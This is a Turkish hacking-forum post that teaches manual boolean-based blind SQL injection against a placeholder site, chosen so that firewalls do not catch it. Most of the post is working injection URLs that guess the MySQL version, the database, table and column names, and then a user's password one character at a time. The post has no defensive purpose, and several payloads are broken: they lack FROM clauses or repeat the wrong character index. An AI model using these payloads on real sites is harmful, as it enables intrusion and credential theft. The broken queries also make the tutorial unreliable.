Boolean-Based Blind İnjection [VİP] (1 Viewer)

R

Rolesa

Sea .

Kendimize Sql Syntax eror veren bir site belirleyelim ve manuel inj tekniklerden bi tanesini denemeye başlıcağız şimdi bunu sqlmap üzerinde yapamazmıyız tabikide yapabiliriz fakat sqlmap gibi toollar direk kaba saldırı yaptığından firewall güvenlik duvarları tarafından algılanıyor ve engellenebiliyor bu yüzden manuel girişceğiz
burdaki ama siteye sorular yönelterek sitenin true or folse vermesini sağlıcağız . Bu zafiyette veritabanı üzerinden her hangi bir bilgi doğrudan alınmaz mantıksal sorular ile bilgiler ortaya çıkar
Bir kalem ile not defteri almanızı tavsiye ederim
Karıştırılmaması gereken noktalar
Syntax hataları
WarningÇ:mysql_query() expects..
Warning: mysql_num_rows() expects..
Veritabanı hata mesajları
You have an error in your sql syntax; check the manual that ...
ilk olarak isek yaptığımız adresi http://hedefsite.com/deneme.php?=1 olarak alalım
şimdi Mysql sürümünü tespit edelim ilk . Blind sql tekniğinde mysql üzerinde yer alan fonksiyonlar sıklıkla kullanılmaktadır . aşşağıdaki verceğim örnekte substring fonksiyonu kullandık bu fonksiyon vermiş olduğumuz değer , istenilen kısımdan itibaren , istenilen miktarda kesilebilr. örnekte version() çıktısının ilk karakterinden başla ve sadece ilk karakterini kes şeklinde soru sorduk elde edilen sonucun 4 sayısına eşit olup olmadığını sorduk
http://hedefsite.com/deneme.php?=1 and substring(version(),1,1)=4;
sayfa boş döndü yanı karşımıza boş sayfa geldi demeki 4 değil cevap 5 deniyelim o zaman
http://hedefsite.com/deneme.php?=1 and substring(version(),1,1)=5;
ilk sorumuzda veriler gelmeziken 2.soruda veriler geldi demekki mysql sürümümüx 5 veya 5 üzeri olduğunu anladık .
Şimdi veritabanı adını keşfedelim
Mysql üzerinde geçerli olan veritabanının adı "database()" fonksiyonu ile bulcağız
yine versiypn tespitindeki yöntem ile keşfetceğiz
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'a'
biz hedef uygulamayı bu şekilde deniceğiz . burda veritabanının ilk harfi a mı ? diye bir soru yönelttik ve sayfa boşa döndü demekki hayır sırayla deniyelim o zaman
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'b'
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'c'
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'd'
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 's'
ve evet sayfa döndü demekki veritabanının ilk harfi s imiş şimdi kalem ve kağıt isteme yerim geliyor bunu not edelim ikinci harfe geçelim .
http://hedefsite.com/deneme.php?=1 and substring(database(),2,1)= 'a'
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'k'
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'o'
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and substring(database(),1,1)= 'p'
sayfa döndü ve demekki 2. harfide "p" imiş
bu şekilde sorar iken işimixi kolaylaştırmak için database adı şu sayıya eşit mi diye soralım
http://hedefsite.com/deneme.php?=1 and length(database()) = 4 ;
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and length(database()) = 2 ;
Empty set (0.00 sec)
http://hedefsite.com/deneme.php?=1 and length(database()) = 3 ;
ve sayfa döndü demekki 3 harfliymiş ilk harfi "s" ikinci harfi "p" 3 harfli olduğundan tahmin yürütelim spy deneyelim
http://hedefsite.com/deneme.php?=1 and substring(database(),3,1)= 'p'
sayfa döndüğüne göre veri tabanı adımız spy
şimdi tablo adlarını keşfedelim
Önemli = MySQL 5.*den itibaren servisin kurulumu sonrasında information_schema adında bir veritabanı gelmektedir bu veritabanı içerisinde mysql servisi üzerine kayıtlı tüm veritabanları gelir

evet
http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) = 'a'

http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) ='b'

http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) ='c'

http://hedefsite.com/deneme.php?=1 and substring((select table_name information_schema.tables where TABLE_SCHEMA='spy' LIMIT 1,1),1,1) = 'u'
ve sonuç sayfa döndü demekki tablonun ilk adı u imiş bu şekilde deniyerek tablo adını keşfettik sayın 'uyeler' olarak
Kolon adı leşfetme
NOt = kolon ve tablo isimleri tespitinde sbirden fazla satır sonuç gelceğinden dolayı LIMIT ile döndürülcek satır sayısını kısıtlarız .

http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='a'

bunu yorumluyalım üye ID numarası 1 olanı veya tablo adı üyeler olan kolonlardan iljinin (0'dan itibaren 1 seç) birinci karakteri "a" ise getir . Eğerki ilk kolonjun ilk harfi a ise bize yanıt getircektir .
http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='b'
Empty set (0.00 sec)

http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='c'
Empty set (0.00 sec)

http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='i'
ve sonuç geldi 2. harfin tespiti için sadee substiring de oynama yapcağız
http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),2,1)='a'
Empty set (0.00)

http://hedefsite.com/deneme.php?=1 and substring((select column_name information_schema.columns where TABLE_NAME='uyeler' LIMIT 0,1),1,1)='d'

sonuç geldi varsayıyorum
NOT= 2.kolon içinde LIMIT 0,1 i 1,1 olarak değişitrin

http://hedefsite.com/deneme.php?=1 and substring((select parola from uyeler where id=1),1,1) = '1'
Emptr set(0.00 sec)

http://hedefsite.com/deneme.php?=1 and substring((select parola from uyeler where id=1),1,1) = '1

sayfa döndü demekki ilk harfi 1 miş bu şekilde 2,1 . rakam-harfleri tespit ederiz .


Yazarken boynum ağrıdı amk
 

Users who are viewing this thread

Top